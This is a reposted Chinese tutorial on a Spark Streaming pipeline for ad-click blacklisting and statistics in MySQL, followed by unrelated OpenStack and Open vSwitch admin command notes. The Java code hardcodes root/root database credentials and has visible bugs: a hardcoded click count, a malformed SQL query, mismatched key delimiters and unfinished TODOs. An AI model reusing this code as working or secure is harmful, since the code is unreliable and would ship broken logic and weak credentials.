duration的点击次数判断是否非法广告点击,通过一个batch来判断是不完整的,还需要一天的数据也可以每一个小时来判断。/JavaPairDStream<String, Long> filterClickedBatch = adClickedUsers.filter(new Function<Tuple2<String,Long>, Boolean>() {public Boolean call(Tuple2<String, Long> v1) throws Exception {if (1 < v1._2){//更新一些黑名单的数据库表return false;} else { return true;} }});//filterClickedBatch.print();//写入数据库filterClickedBatch.foreachRDD(new Function<JavaPairRDD<String,Long>, Void>() {public Void call(JavaPairRDD<String, Long> rdd) throws Exception {rdd.foreachPartition(new VoidFunction<Iterator<Tuple2<String,Long>>>() {public void call(Iterator<Tuple2<String, Long>> partition) throws Exception {//使用数据库连接池的高效读写数据库的方式将数据写入数据库mysql//例如一次插入 1000条 records,使用insertBatch 或 updateBatch//插入的用户数据信息:userID,adID,clickedCount,time//这里面有一个问题,可能出现两条记录的key是一样的,此时需要更新累加操作List<UserAdClicked> userAdClickedList = new ArrayList<UserAdClicked>();while(partition.hasNext()) {Tuple2<String, Long> record = partition.next();String[] splited = record._1.split("\t");UserAdClicked userClicked = new UserAdClicked();userClicked.setTimestamp(splited[0]);userClicked.setIp(splited[1]);userClicked.setUserID(splited[2]);userClicked.setAdID(splited[3]);userClicked.setProvince(splited[4]);userClicked.setCity(splited[5]);userAdClickedList.add(userClicked);}final List<UserAdClicked> inserting = new ArrayList<UserAdClicked>();final List<UserAdClicked> updating = new ArrayList<UserAdClicked>();JDBCWrapper jdbcWrapper = JDBCWrapper.getJDBCInstance();//表的字段timestamp、ip、userID、adID、province、city、clickedCountfor(final UserAdClicked clicked : userAdClickedList) {jdbcWrapper.doQuery("SELECT clickedCount FROM adclicked WHERE"+ " timestamp =? AND userID = ? AND adID = ?",new Object[]{clicked.getTimestamp(), clicked.getUserID(),clicked.getAdID()}, new ExecuteCallBack() {public void resultCallBack(ResultSet result) throws Exception {// TODO Auto-generated method stubif(result.next()) {long count = result.getLong(1);clicked.setClickedCount(count);updating.add(clicked);} else {inserting.add(clicked);clicked.setClickedCount(1L);} }});}//表的字段timestamp、ip、userID、adID、province、city、clickedCountList<Object[]> insertParametersList = new ArrayList<Object[]>();for(UserAdClicked insertRecord : inserting) {insertParametersList.add(new Object[] {insertRecord.getTimestamp(),insertRecord.getIp(),insertRecord.getUserID(),insertRecord.getAdID(),insertRecord.getProvince(),insertRecord.getCity(),insertRecord.getClickedCount()});}jdbcWrapper.doBatch("INSERT INTO adclicked VALUES(?, ?, ?, ?, ?, ?, ?)", insertParametersList);//表的字段timestamp、ip、userID、adID、province、city、clickedCountList<Object[]> updateParametersList = new ArrayList<Object[]>();for(UserAdClicked updateRecord : updating) {updateParametersList.add(new Object[] {updateRecord.getTimestamp(),updateRecord.getIp(),updateRecord.getUserID(),updateRecord.getAdID(),updateRecord.getProvince(),updateRecord.getCity(),updateRecord.getClickedCount() + 1});}jdbcWrapper.doBatch("UPDATE adclicked SET clickedCount = ? WHERE"+ " timestamp =? AND ip = ? AND userID = ? AND adID = ? "+ "AND province = ? AND city = ?", updateParametersList);} });return null;} });//再次过滤,从数据库中读取数据过滤黑名单JavaPairDStream<String, Long> blackListBasedOnHistory = filterClickedBatch.filter(new Function<Tuple2<String,Long>, Boolean>() {public Boolean call(Tuple2<String, Long> v1) throws Exception {//广告点击的基本数据格式:timestamp,ip,userID,adID,province,cityString[] splited = v1._1.split("\t"); //提取key值String date =splited[0];String userID =splited[2];String adID =splited[3];//查询一下数据库同一个用户同一个广告id点击量超过50次列入黑名单//接下来 根据date、userID、adID条件去查询用户点击广告的数据表,获得总的点击次数//这个时候基于点击次数判断是否属于黑名单点击int clickedCountTotalToday = 81 ;if (clickedCountTotalToday > 50) {return true;}else {return false ;} }});//map操作,找出用户的idJavaDStream<String> blackListuserIDBasedInBatchOnhistroy =blackListBasedOnHistory.map(new Function<Tuple2<String,Long>, String>() {public String call(Tuple2<String, Long> v1) throws Exception {// TODO Auto-generated method stubreturn v1._1.split("\t")[2];} });//有一个问题,数据可能重复,在一个partition里面重复,这个好办;//但多个partition不能保证一个用户重复,需要对黑名单的整个rdd进行去重操作。//rdd去重了,partition也就去重了,一石二鸟,一箭双雕// 找出了黑名单,下一步就写入黑名单数据库表中JavaDStream<String> blackListUniqueuserBasedInBatchOnhistroy = blackListuserIDBasedInBatchOnhistroy.transform(new Function<JavaRDD<String>, JavaRDD<String>>() {public JavaRDD<String> call(JavaRDD<String> rdd) throws Exception {// TODO Auto-generated method stubreturn rdd.distinct();} });// 下一步写入到数据表中blackListUniqueuserBasedInBatchOnhistroy.foreachRDD(new Function<JavaRDD<String>, Void>() {public Void call(JavaRDD<String> rdd) throws Exception {rdd.foreachPartition(new VoidFunction<Iterator<String>>() {public void call(Iterator<String> t) throws Exception {// TODO Auto-generated method stub//插入的用户信息可以只包含:useID//此时直接插入黑名单数据表即可。//写入数据库List<Object[]> blackList = new ArrayList<Object[]>();while(t.hasNext()) {blackList.add(new Object[]{t.next()});}JDBCWrapper jdbcWrapper = JDBCWrapper.getJDBCInstance();jdbcWrapper.doBatch("INSERT INTO blacklisttable values (?)", blackList);} });return null;} });/广告点击累计动态更新,每个updateStateByKey都会在Batch Duration的时间间隔的基础上进行广告点击次数的更新, 更新之后我们一般都会持久化到外部存储设备上,在这里我们存储到MySQL数据库中/JavaPairDStream<String, Long> updateStateByKeyDSteam = filteredadClickedStreaming.mapToPair(new PairFunction<Tuple2<String,String>, String, Long>() {public Tuple2<String, Long> call(Tuple2<String, String> t)throws Exception {String[] splited=t._2.split("\t");String timestamp = splited[0]; //YYYY-MM-DDString ip = splited[1];String userID = splited[2];String adID = splited[3];String province = splited[4];String city = splited[5]; String clickedRecord = timestamp + "_" +ip + "_"+userID+"_"+adID+"_"+province +"_"+city;return new Tuple2<String, Long>(clickedRecord, 1L);} }).updateStateByKey(new Function2<List<Long>, Optional<Long>, Optional<Long>>() {public Optional<Long> call(List<Long> v1, Optional<Long> v2)throws Exception {// v1:当前的Key在当前的Batch Duration中出现的次数的集合,例如{1,1,1,。。。,1}// v2:当前的Key在以前的Batch Duration中积累下来的结果;Long clickedTotalHistory = 0L; if(v2.isPresent()){clickedTotalHistory = v2.get();}for(Long one : v1) {clickedTotalHistory += one;}return Optional.of(clickedTotalHistory);} });updateStateByKeyDSteam.foreachRDD(new Function<JavaPairRDD<String,Long>, Void>() {public Void call(JavaPairRDD<String, Long> rdd) throws Exception {rdd.foreachPartition(new VoidFunction<Iterator<Tuple2<String,Long>>>() {public void call(Iterator<Tuple2<String, Long>> partition) throws Exception {//使用数据库连接池的高效读写数据库的方式将数据写入数据库mysql//例如一次插入 1000条 records,使用insertBatch 或 updateBatch//插入的用户数据信息:timestamp、adID、province、city//这里面有一个问题,可能出现两条记录的key是一样的,此时需要更新累加操作List<AdClicked> AdClickedList = new ArrayList<AdClicked>();while(partition.hasNext()) {Tuple2<String, Long> record = partition.next();String[] splited = record._1.split("\t");AdClicked adClicked = new AdClicked();adClicked.setTimestamp(splited[0]);adClicked.setAdID(splited[1]);adClicked.setProvince(splited[2]);adClicked.setCity(splited[3]);adClicked.setClickedCount(record._2);AdClickedList.add(adClicked);}final List<AdClicked> inserting = new ArrayList<AdClicked>();final List<AdClicked> updating = new ArrayList<AdClicked>();JDBCWrapper jdbcWrapper = JDBCWrapper.getJDBCInstance();//表的字段timestamp、ip、userID、adID、province、city、clickedCountfor(final AdClicked clicked : AdClickedList) {jdbcWrapper.doQuery("SELECT clickedCount FROM adclickedcount WHERE"+ " timestamp = ? AND adID = ? AND province = ? AND city = ?",new Object[]{clicked.getTimestamp(), clicked.getAdID(),clicked.getProvince(), clicked.getCity()}, new ExecuteCallBack() {public void resultCallBack(ResultSet result) throws Exception {// TODO Auto-generated method stubif(result.next()) {long count = result.getLong(1);clicked.setClickedCount(count);updating.add(clicked);} else {inserting.add(clicked);clicked.setClickedCount(1L);} }});}//表的字段timestamp、ip、userID、adID、province、city、clickedCountList<Object[]> insertParametersList = new ArrayList<Object[]>();for(AdClicked insertRecord : inserting) {insertParametersList.add(new Object[] {insertRecord.getTimestamp(),insertRecord.getAdID(),insertRecord.getProvince(),insertRecord.getCity(),insertRecord.getClickedCount()});}jdbcWrapper.doBatch("INSERT INTO adclickedcount VALUES(?, ?, ?, ?, ?)", insertParametersList);//表的字段timestamp、ip、userID、adID、province、city、clickedCountList<Object[]> updateParametersList = new ArrayList<Object[]>();for(AdClicked updateRecord : updating) {updateParametersList.add(new Object[] {updateRecord.getClickedCount(),updateRecord.getTimestamp(),updateRecord.getAdID(),updateRecord.getProvince(),updateRecord.getCity()});}jdbcWrapper.doBatch("UPDATE adclickedcount SET clickedCount = ? WHERE"+ " timestamp =? AND adID = ? AND province = ? AND city = ?", updateParametersList);} });return null;} });/ 对广告点击进行TopN计算,计算出每天每个省份Top5排名的广告 因为我们直接对RDD进行操作,所以使用了transfomr算子;/updateStateByKeyDSteam.transform(new Function<JavaPairRDD<String,Long>, JavaRDD<Row>>() {public JavaRDD<Row> call(JavaPairRDD<String, Long> rdd) throws Exception {JavaRDD<Row> rowRDD = rdd.mapToPair(new PairFunction<Tuple2<String,Long>, String, Long>() {public Tuple2<String, Long> call(Tuple2<String, Long> t)throws Exception {// TODO Auto-generated method stubString[] splited=t._1.split("_");String timestamp = splited[0]; //YYYY-MM-DDString adID = splited[3];String province = splited[4];String clickedRecord = timestamp + "_" + adID + "_" + province;return new Tuple2<String, Long>(clickedRecord, t._2);} }).reduceByKey(new Function2<Long, Long, Long>() {public Long call(Long v1, Long v2) throws Exception {// TODO Auto-generated method stubreturn v1 + v2;} }).map(new Function<Tuple2<String,Long>, Row>() {public Row call(Tuple2<String, Long> v1) throws Exception {// TODO Auto-generated method stubString[] splited=v1._1.split("_");String timestamp = splited[0]; //YYYY-MM-DDString adID = splited[3];String province = splited[4];return RowFactory.create(timestamp, adID, province, v1._2);} });StructType structType = DataTypes.createStructType(Arrays.asList(DataTypes.createStructField("timestamp", DataTypes.StringType, true),DataTypes.createStructField("adID", DataTypes.StringType, true),DataTypes.createStructField("province", DataTypes.StringType, true),DataTypes.createStructField("clickedCount", DataTypes.LongType, true)));HiveContext hiveContext = new HiveContext(rdd.context());DataFrame df = hiveContext.createDataFrame(rowRDD, structType);df.registerTempTable("topNTableSource");DataFrame result = hiveContext.sql("SELECT timestamp, adID, province, clickedCount, FROM"+ " (SELECT timestamp, adID, province,clickedCount, "+ "ROW_NUMBER() OVER(PARTITION BY province ORDER BY clickeCount DESC) rank "+ "FROM topNTableSource) subquery "+ "WHERE rank <= 5");return result.toJavaRDD();} }).foreachRDD(new Function<JavaRDD<Row>, Void>() {public Void call(JavaRDD<Row> rdd) throws Exception {// TODO Auto-generated method stubrdd.foreachPartition(new VoidFunction<Iterator<Row>>() {public void call(Iterator<Row> t) throws Exception {// TODO Auto-generated method stubList<AdProvinceTopN> adProvinceTopN = new ArrayList<AdProvinceTopN>();while(t.hasNext()) {Row row = t.next();AdProvinceTopN item = new AdProvinceTopN();item.setTimestamp(row.getString(0));item.setAdID(row.getString(1));item.setProvince(row.getString(2));item.setClickedCount(row.getLong(3));adProvinceTopN.add(item);}// final List<AdProvinceTopN> inserting = new ArrayList<AdProvinceTopN>();// final List<AdProvinceTopN> updating = new ArrayList<AdProvinceTopN>();JDBCWrapper jdbcWrapper = JDBCWrapper.getJDBCInstance();Set<String> set = new HashSet<String>();for(AdProvinceTopN item: adProvinceTopN){set.add(item.getTimestamp() + "_" + item.getProvince());}//表的字段timestamp、adID、province、clickedCountArrayList<Object[]> deleteParametersList = new ArrayList<Object[]>();for(String deleteRecord : set) {String[] splited = deleteRecord.split("_");deleteParametersList.add(new Object[]{splited[0],splited[1]});}jdbcWrapper.doBatch("DELETE FROM adprovincetopn WHERE timestamp = ? AND province = ?", deleteParametersList);//表的字段timestamp、ip、userID、adID、province、city、clickedCountList<Object[]> insertParametersList = new ArrayList<Object[]>();for(AdProvinceTopN insertRecord : adProvinceTopN) {insertParametersList.add(new Object[] {insertRecord.getClickedCount(),insertRecord.getTimestamp(),insertRecord.getAdID(),insertRecord.getProvince()});}jdbcWrapper.doBatch("INSERT INTO adprovincetopn VALUES (?, ?, ?, ?)", insertParametersList);} });return null;} });/ 计算过去半个小时内广告点击的趋势 广告点击的基本数据格式:timestamp、ip、userID、adID、province、city/filteredadClickedStreaming.mapToPair(new PairFunction<Tuple2<String,String>, String, Long>() {public Tuple2<String, Long> call(Tuple2<String, String> t)throws Exception {String splited[] = t._2.split("\t");String adID = splited[3];String time = splited[0]; //Todo:后续需要重构代码实现时间戳和分钟的转换提取。此处需要提取出该广告的点击分钟单位return new Tuple2<String, Long>(time + "_" + adID, 1L);} }).reduceByKeyAndWindow(new Function2<Long, Long, Long>() {public Long call(Long v1, Long v2) throws Exception {// TODO Auto-generated method stubreturn v1 + v2;} }, new Function2<Long, Long, Long>() {public Long call(Long v1, Long v2) throws Exception {// TODO Auto-generated method stubreturn v1 - v2;} }, Durations.minutes(30), Durations.milliseconds(5)).foreachRDD(new Function<JavaPairRDD<String,Long>, Void>() {public Void call(JavaPairRDD<String, Long> rdd) throws Exception {// TODO Auto-generated method stubrdd.foreachPartition(new VoidFunction<Iterator<Tuple2<String,Long>>>() {public void call(Iterator<Tuple2<String, Long>> partition)throws Exception {List<AdTrendStat> adTrend = new ArrayList<AdTrendStat>();// TODO Auto-generated method stubwhile(partition.hasNext()) {Tuple2<String, Long> record = partition.next();String[] splited = record._1.split("_");String time = splited[0];String adID = splited[1];Long clickedCount = record._2;/ 在插入数据到数据库的时候具体需要哪些字段?time、adID、clickedCount; 而我们通过J2EE技术进行趋势绘图的时候肯定是需要年、月、日、时、分这个维度的,所以我们在这里需要 年月日、小时、分钟这些时间维度;/AdTrendStat adTrendStat = new AdTrendStat();adTrendStat.setAdID(adID);adTrendStat.setClickedCount(clickedCount);adTrendStat.set_date(time); //Todo:获取年月日adTrendStat.set_hour(time); //Todo:获取小时adTrendStat.set_minute(time);//Todo:获取分钟adTrend.add(adTrendStat);}final List<AdTrendStat> inserting = new ArrayList<AdTrendStat>();final List<AdTrendStat> updating = new ArrayList<AdTrendStat>();JDBCWrapper jdbcWrapper = JDBCWrapper.getJDBCInstance();//表的字段timestamp、ip、userID、adID、province、city、clickedCountfor(final AdTrendStat trend : adTrend) {final AdTrendCountHistory adTrendhistory = new AdTrendCountHistory();jdbcWrapper.doQuery("SELECT clickedCount FROM adclickedtrend WHERE"+ " date =? AND hour = ? AND minute = ? AND AdID = ?",new Object[]{trend.get_date(), trend.get_hour(), trend.get_minute(),trend.getAdID()}, new ExecuteCallBack() {public void resultCallBack(ResultSet result) throws Exception {// TODO Auto-generated method stubif(result.next()) {long count = result.getLong(1);adTrendhistory.setClickedCountHistoryLong(count);updating.add(trend);} else { inserting.add(trend);} }});}//表的字段date、hour、minute、adID、clickedCountList<Object[]> insertParametersList = new ArrayList<Object[]>();for(AdTrendStat insertRecord : inserting) {insertParametersList.add(new Object[] {insertRecord.get_date(),insertRecord.get_hour(),insertRecord.get_minute(),insertRecord.getAdID(),insertRecord.getClickedCount()});}jdbcWrapper.doBatch("INSERT INTO adclickedtrend VALUES(?, ?, ?, ?, ?)", insertParametersList);//表的字段date、hour、minute、adID、clickedCountList<Object[]> updateParametersList = new ArrayList<Object[]>();for(AdTrendStat updateRecord : updating) {updateParametersList.add(new Object[] {updateRecord.getClickedCount(),updateRecord.get_date(),updateRecord.get_hour(),updateRecord.get_minute(),updateRecord.getAdID()});}jdbcWrapper.doBatch("UPDATE adclickedtrend SET clickedCount = ? WHERE"+ " date =? AND hour = ? AND minute = ? AND AdID = ?", updateParametersList);} });return null;} });;/ Spark Streaming 执行引擎也就是Driver开始运行,Driver启动的时候是位于一条新的线程中的,当然其内部有消息循环体,用于 接收应用程序本身或者Executor中的消息,/javassc.start();javassc.awaitTermination();javassc.close();}private static JavaStreamingContext createContext(String checkpointDirectory, SparkConf conf) {// If you do not see this printed, that means the StreamingContext has been loaded// from the new checkpointSystem.out.println("Creating new context");// Create the context with a 5 second batch sizeJavaStreamingContext ssc = new JavaStreamingContext(conf, Durations.seconds(10));ssc.checkpoint(checkpointDirectory);return ssc;} }class JDBCWrapper {private static JDBCWrapper jdbcInstance = null;private static LinkedBlockingQueue<Connection> dbConnectionPool = new LinkedBlockingQueue<Connection>();static {try {Class.forName("com.mysql.jdbc.Driver");} catch (ClassNotFoundException e) {// TODO Auto-generated catch blocke.printStackTrace();} }public static JDBCWrapper getJDBCInstance() {if(jdbcInstance == null) {synchronized (JDBCWrapper.class) {if(jdbcInstance == null) {jdbcInstance = new JDBCWrapper();} }}return jdbcInstance; }private JDBCWrapper() {for(int i = 0; i < 10; i++){try {Connection conn = DriverManager.getConnection("jdbc:mysql://Master:3306/sparkstreaming","root", "root");dbConnectionPool.put(conn);} catch (Exception e) {// TODO Auto-generated catch blocke.printStackTrace();} } }public synchronized Connection getConnection() {while(0 == dbConnectionPool.size()){try {Thread.sleep(20);} catch (InterruptedException e) {// TODO Auto-generated catch blocke.printStackTrace();} }return dbConnectionPool.poll();}public int[] doBatch(String sqlText, List<Object[]> paramsList){Connection conn = getConnection();PreparedStatement preparedStatement = null;int[] result = null;try {conn.setAutoCommit(false);preparedStatement = conn.prepareStatement(sqlText);for(Object[] parameters: paramsList) {for(int i = 0; i < parameters.length; i++){preparedStatement.setObject(i + 1, parameters[i]);} preparedStatement.addBatch();}result = preparedStatement.executeBatch();conn.commit();} catch (SQLException e) {// TODO Auto-generated catch blocke.printStackTrace();} finally {if(preparedStatement != null) {try {preparedStatement.close();} catch (SQLException e) {// TODO Auto-generated catch blocke.printStackTrace();} }if(conn != null) {try {dbConnectionPool.put(conn);} catch (InterruptedException e) {// TODO Auto-generated catch blocke.printStackTrace();} }}return result; }public void doQuery(String sqlText, Object[] paramsList, ExecuteCallBack callback){Connection conn = getConnection();PreparedStatement preparedStatement = null;ResultSet result = null;try {preparedStatement = conn.prepareStatement(sqlText);for(int i = 0; i < paramsList.length; i++){preparedStatement.setObject(i + 1, paramsList[i]);} result = preparedStatement.executeQuery();try {callback.resultCallBack(result);} catch (Exception e) {// TODO Auto-generated catch blocke.printStackTrace();} } catch (SQLException e) {// TODO Auto-generated catch blocke.printStackTrace();} finally {if(preparedStatement != null) {try {preparedStatement.close();} catch (SQLException e) {// TODO Auto-generated catch blocke.printStackTrace();} }if(conn != null) {try {dbConnectionPool.put(conn);} catch (InterruptedException e) {// TODO Auto-generated catch blocke.printStackTrace();} }} }}interface ExecuteCallBack {void resultCallBack(ResultSet result) throws Exception;}class UserAdClicked {private String timestamp;private String ip;private String userID;private String adID;private String province;private String city;private Long clickedCount;public String getTimestamp() {return timestamp;}public void setTimestamp(String timestamp) {this.timestamp = timestamp;}public String getIp() {return ip;}public void setIp(String ip) {this.ip = ip;}public String getUserID() {return userID;}public void setUserID(String userID) {this.userID = userID;}public String getAdID() {return adID;}public void setAdID(String adID) {this.adID = adID;}public String getProvince() {return province;}public void setProvince(String province) {this.province = province;}public String getCity() {return city;}public void setCity(String city) {this.city = city;}public Long getClickedCount() {return clickedCount;}public void setClickedCount(Long clickedCount) {this.clickedCount = clickedCount;} }class AdClicked {private String timestamp;private String adID;private String province;private String city;private Long clickedCount;public String getTimestamp() {return timestamp;}public void setTimestamp(String timestamp) {this.timestamp = timestamp;}public String getAdID() {return adID;}public void setAdID(String adID) {this.adID = adID;}public String getProvince() {return province;}public void setProvince(String province) {this.province = province;}public String getCity() {return city;}public void setCity(String city) {this.city = city;}public Long getClickedCount() {return clickedCount;}public void setClickedCount(Long clickedCount) {this.clickedCount = clickedCount;} }class AdProvinceTopN {private String timestamp;private String adID;private String province;private Long clickedCount;public String getTimestamp() {return timestamp;}public void setTimestamp(String timestamp) {this.timestamp = timestamp;}public String getAdID() {return adID;}public void setAdID(String adID) {this.adID = adID;}public String getProvince() {return province;}public void setProvince(String province) {this.province = province;}public Long getClickedCount() {return clickedCount;}public void setClickedCount(Long clickedCount) {this.clickedCount = clickedCount;} }class AdTrendStat {private String _date;private String _hour;private String _minute;private String adID;private Long clickedCount;public String get_date() {return _date;}public void set_date(String _date) {this._date = _date;}public String get_hour() {return _hour;}public void set_hour(String _hour) {this._hour = _hour;}public String get_minute() {return _minute;}public void set_minute(String _minute) {this._minute = _minute;}public String getAdID() {return adID;}public void setAdID(String adID) {this.adID = adID;}public Long getClickedCount() {return clickedCount;}public void setClickedCount(Long clickedCount) {this.clickedCount = clickedCount;} }class AdTrendCountHistory{private Long clickedCountHistoryLong;public Long getClickedCountHistoryLong() {return clickedCountHistoryLong;}public void setClickedCountHistoryLong(Long clickedCountHistoryLong) {this.clickedCountHistoryLong = clickedCountHistoryLong;} } 本篇文章为转载内容。原文链接:https://blog.csdn.net/tom_8899_li/article/details/71194434。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-02-14 19:16:35
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...ks odl配置文件修改 etc/custom.properties ovsdb.l3.fwd.enabled=yes ovsdb.l3gateway.mac=0a:00:27:00:00:0d telnet 10.13.80.34 8181 netstat -nlp | grep 8181 telnet 127.0.0.1 8181 telnet 10.13.80.34 8181 systemctl status firewall iptables iptables -nvL iptables -F 清空iptables openstack server create --flavor tiny --image cirros --nic net-id=24449ee2-b84e-493f-8d76-139ac3e4f3cd --key-name mykey provider-instance nova service-list nova show ae5e26d1-c84d-40fa-bb27-f0b46d6a7061 查看虚机详情 ovs-vsctl set Open_vSwitch 89444614-3bf8-4d7a-b3a0-df5d20b48b7a other_config={'local_ip'='192.168.56.102'} ovs-vsctl set Open_vSwitch b084eccf-b92e-470c-8dff-8549e92c2104 other_config={'local_ip'='192.168.56.122'} ovs-vsctl list interface eth0 ovs-appctl fdb/show br-int [root@rcontroller01 ~] openstack security group rule list 2e19a748-9086-49f8-9498-01abc1a964fe 一个神奇的命令 +--------------------------------------+-------------+-----------+------------+--------------------------------------+ | ID | IP Protocol | IP Range | Port Range | Remote Security Group | +--------------------------------------+-------------+-----------+------------+--------------------------------------+ | 0184e6b3-4f7f-4fd5-8125-b80682e7ee48 | None | None | | 2e19a748-9086-49f8-9498-01abc1a964fe | | 1e0bfedc-8f25-408a-9328-708113bbbc52 | icmp | 0.0.0.0/0 | | None | | 39116d39-454b-4d82-867e-bbfd3ea63182 | None | None | | None | | 4032366f-3ac9-4862-85a7-c7411a8b7678 | None | None | | 2e19a748-9086-49f8-9498-01abc1a964fe | | dc7bc251-f0d0-456a-9102-c5b66646aa84 | tcp | 0.0.0.0/0 | 22:22 | None | | ddacf7ea-57ea-4c8a-8b68-093766284595 | None | None | | None | +--------------------------------------+-------------+-----------+------------+--------------------------------------+ dpif/dump-flows dp 想控制端打印dp中流表的所有条目。 这个命令主要来与debugOpen Vswitch.它所打印的流表不是openFlow的流条目。 它打印的是由dp模块维护的简单的流。 如果你想查看OpenFlow条目,请使用ovs-ofctl dump-flows。dpif/del-fow dp 删除指定dp上所有流表。同上所述,这些不是OpenFlow流表。 ovs-appctl dpif/dump-flows br-int 创建网络 openstack network create --share --external --provider-physical-network provider --provider-network-type flat provider $ openstack subnet create --network provider \ --allocation-pool start=192.168.56.100,end=192.168.56.200 \ --dns-nameserver 8.8.8.8 --gateway 192.168.56.1 \ --subnet-range 192.168.56.0/24 provider openstack network create selfservice $ openstack subnet create --network selfservice \ --dns-nameserver 8.8.8.8 --gateway 192.168.1.1 \ --subnet-range 192.168.1.0/24 selfservice openstack router create router openstack router add subnet router selfservice openstack router set router --external-gateway provider openstack port list --router router +--------------------------------------+------+-------------------+-------------------------------------------------------------------------------+--------+ | ID | Name | MAC Address | Fixed IP Addresses | Status | +--------------------------------------+------+-------------------+-------------------------------------------------------------------------------+--------+ | bff6605d-824c-41f9-b744-21d128fc86e1 | | fa:16:3e:2f:34:9b | ip_address='172.16.1.1', subnet_id='3482f524-8bff-4871-80d4-5774c2730728' | ACTIVE | | d6fe98db-ae01-42b0-a860-37b1661f5950 | | fa:16:3e:e8:c1:41 | ip_address='203.0.113.102', subnet_id='5cc70da8-4ee7-4565-be53-b9c011fca011' | ACTIVE | +--------------------------------------+------+-------------------+-------------------------------------------------------------------------------+--------+ $ ping -c 4 203.0.113.102 创建虚机 openstack keypair list $ ssh-keygen -q -N "" $ openstack keypair create --public-key ~/.ssh/id_rsa.pub mykey openstack flavor list openstack image list openstack network list openstack server create --flavor tiny --image cirros --nic net-id=27616098-0374-4ab4-95a8-b5bf4839dcf8 --key-name mykey provider-instance 网络配置 python /usr/lib/python2.7/site-packages/networking_odl/cmd/set_ovs_hostconfigs.py --ovs_hostconfigs='{ "ODL L2": { "allowed_network_types": [ "flat", "vlan", "vxlan" ], "bridge_mappings": { "provider": "br-int" }, "supported_vnic_types": [ { "vnic_type": "normal", "vif_type": "ovs", "vif_details": {} } ] }, "ODL L3": {} }' ovs-vsctl list open . [2019/1/16 19:09] 高正伟: ovs-vsctl set Open_vSwitch . other_config:local_ip=hostip ovs-vsctl set Open_vSwitch . other_config:local_ip=192.168.56.122 ovs-vsctl set Open_vSwitch . other_config:remote_ip=192.168.56.122 ovs-vsctl remove interface tunca7b782f232 options remote_ip ovs-vsctl set Open_vSwitch . other_config:provider_mappings=provider:br-ex ovs-vsctl set Open_vSwitch . external_ids:provider_mappings="{\"provider\": \"br-ex\"}" 清空 ovs-vsctl clear Open_vSwitch . external_ids ovs-vsctl set-manager tcp:10.13.80.34:6640 ovs-vsctl set-controller br-ex tcp:10.13.80.34:6640 ovs-vsctl del-controller br-ex sudo neutron-odl-ovs-hostconfig ovs-vsctl show ovs-vsctl add-port <bridge name> <port name> ovs-vsctl add-port br-ex enp0s10 ovs-vsctl del-port br-ex phy-br-ex ovs-vsctl del-port br-ex tun2ad7e9e91e4 重启odl后 systemctl restart openvswitch.service systemctl restart neutron-server.service systemctl stop neutron-server.service 创建虚机 openstack network create --share --external --provider-physical-network provider --provider-network-type flat provider openstack subnet create --network provider --allocation-pool start=192.168.56.2,end=192.168.56.100 --dns-nameserver 8.8.8.8 --gateway 192.168.56.1 --subnet-range 192.168.56.0/24 provider nova boot --image cirros --flavor tiny --nic net-id= --availability-zone nova:rcontroller01 vm-01 openstack server create --flavor tiny --image cirros --nic net-id= --key-name mykey test nova boot --image cirros --flavor tiny --nic net-id=0fe983c2-8178-403b-a00e-e8561580b210 --availability-zone nova:rcontroller01 vm-01 虚机可以学习到mac但是ping不通 抓包,先在虚机网卡上抓包, 然后在br-int上抓包 发现虚拟网卡上是发送了icmp请求报文的,但是br-int上没有 查看报文情况 [root@rcontroller01 ~] ovs-appctl dpif/dump-flows br-int recirc_id(0),tunnel(tun_id=0x0,src=192.168.56.102,dst=192.168.56.122,flags(-df-csum+key)),in_port(4),eth(),eth_type(0x0800),ipv4(proto=17,frag=no),udp(dst=3784), packets:266436, bytes:17584776, used:0.591s, actions:userspace(pid=4294962063,slow_path(bfd)) recirc_id(0xa0),in_port(5),ct_state(+new-est-rel-inv+trk),ct_mark(0/0x1),eth(),eth_type(0x0800),ipv4(frag=no), packets:148165, bytes:14520170, used:0.566s, actions:drop recirc_id(0),in_port(3),eth(),eth_type(0x0806), packets:1, bytes:60, used:5.228s, actions:drop recirc_id(0),tunnel(tun_id=0xb,src=192.168.56.102,dst=192.168.56.122,flags(-df-csum+key)),in_port(4),eth(dst=fa:16:3e:ab:ba:7e),eth_type(0x0806), packets:0, bytes:0, used:never, actions:5 recirc_id(0),in_port(5),eth(src=fa:16:3e:ab:ba:7e),eth_type(0x0800),ipv4(src=192.168.0.16,proto=1,frag=no), packets:148165, bytes:14520170, used:0.566s, actions:ct(zone=5004),recirc(0xa0) recirc_id(0),in_port(3),eth(),eth_type(0x0800),ipv4(frag=no), packets:886646, bytes:316947183, used:0.210s, flags:SFPR., actions:drop recirc_id(0),in_port(5),eth(src=fa:16:3e:ab:ba:7e,dst=fa:16:3e:7d:95:75),eth_type(0x0806),arp(sip=192.168.0.16,tip=192.168.0.5,op=1/0xff,sha=fa:16:3e:ab:ba:7e), packets:0, bytes:0, used:never, actions:userspace(pid=4294961925,controller(reason=4,dont_send=0,continuation=0,recirc_id=4618,rule_cookie=0x822002d,controller_id=0,max_len=65535)),set(tunnel(tun_id=0xb,src=192.168.56.122,dst=192.168.56.102,ttl=64,tp_dst=4789,flags(df|key))),4 安全组设置 openstack security group rule create --proto tcp 2e19a748-9086-49f8-9498-01abc1a964fe openstack security group rule create --proto tcp 6095293d-c2cd-433d-8a8f-e77ecb03609e openstack security group rule create --proto udp 2e19a748-9086-49f8-9498-01abc1a964fe openstack security group rule create --proto udp 6095293d-c2cd-433d-8a8f-e77ecb03609e ovs-vsctl add-port br-ex "ex-patch-int" ovs-vsctl set interface "ex-patch-int" type=patch ovs-vsctl set interface "ex-patch-int" options:peer=int-patch-ex ovs-vsctl add-port br-int "int-patch-ex" ovs-vsctl set interface "int-patch-ex" type=patch ovs-vsctl set interface "int-patch-ex" options:peer=ex-patch-int ovs-vsctl del-port br-ex "ex-patch-int" ovs-vsctl del-port br-int "int-patch-ex" ovs-vsctl del-port br-ex enp0s9 ovs-vsctl add-port br-int enp0s9 ovs-appctl ofproto/trace 重要命令 sudo ovs-ofctl -O OpenFlow13 show br-int sudo ovs-appctl ofproto/trace br-int "in_port=5,ip,nw_src=192.168.0.16,nw_dst=192.168.0.5" ovs-appctl dpctl/dump-conntrack 11.查看接口id等 ovs-appctl dpif/show 12.查看接口统计 ovs-ofctl dump-ports br-int 查看接口 sudo ovs-ofctl show br-int -O OpenFlow13 ovs常用命令 控制管理类 